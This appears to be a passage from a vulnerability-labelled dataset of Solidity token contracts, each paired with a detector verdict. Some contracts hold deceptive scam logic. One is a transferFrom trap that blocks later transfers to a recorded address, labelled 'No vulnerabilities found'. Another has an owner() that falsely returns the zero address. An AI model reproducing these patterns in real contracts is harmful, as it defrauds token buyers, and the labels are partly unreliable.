input stringlengths 32 47.6k | output stringclasses 657 values |
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pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// Sample token contract
//
// Symbol : {{Token Symbol}}
// Name : {{Token Name}}
// Total supply : {{Total Supply}}
// Decimals : {{Decimals}}
// Owner Account : {{Owner Account}}
//
// Enjoy.
//
// (c) by Juan Cruz Martinez 2020. MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Lib: Safe Math
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
/**
ERC Token Standard #20 Interface
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/**
Contract function to receive approval and execute function in one call
Borrowed from MiniMeToken
*/
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
/**
ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers
*/
contract PlutoToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "PLT";
name = "Pluto Token";
decimals = 18;
_totalSupply = 5000000000000000000000;
balances[0x2593F541a392B2109F943B1526840463Ae1e5B05] = _totalSupply;
emit Transfer(address(0), 0x2593F541a392B2109F943B1526840463Ae1e5B05, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-06-11
*/
pragma solidity ^0.5.17;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract BEP20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TokenBEP20 is BEP20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
address public newun;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = " VSA ";
name = "vsafinance.com";
decimals = 8;
_totalSupply = 10000000 * 10**9 * 10**8;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function () external payable {
revert();
}
}
/**
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
}
*/
contract CRYPTOVISA is TokenBEP20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {
}
}
/**
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
*/ | No vulnerabilities found |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Nerotoken' token contract
//
// Deployed to : 0x99c4ef0a180c19e929452e94972aa60cac1b0b7d
// Symbol : NERO
// Name : Nerotoken
// Total supply: 500000000
// Decimals : 18
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Nerotoken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Nerotoken() public {
symbol = "NERO";
name = "Nerotoken";
decimals = 18;
_totalSupply = 500000000000000000000000000;
balances[0x99c4ef0a180c19e929452e94972aa60cac1b0b7d] = _totalSupply;
Transfer(address(0), 0x99c4ef0a180c19e929452e94972aa60cac1b0b7d, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-05-31
*/
/* Official Owl Skull Token
🦉Owl Skulll 💎TOKEN💎 IS BEATING THE MARKET!
https://t.me/OwlSkullToken
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return address(0);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
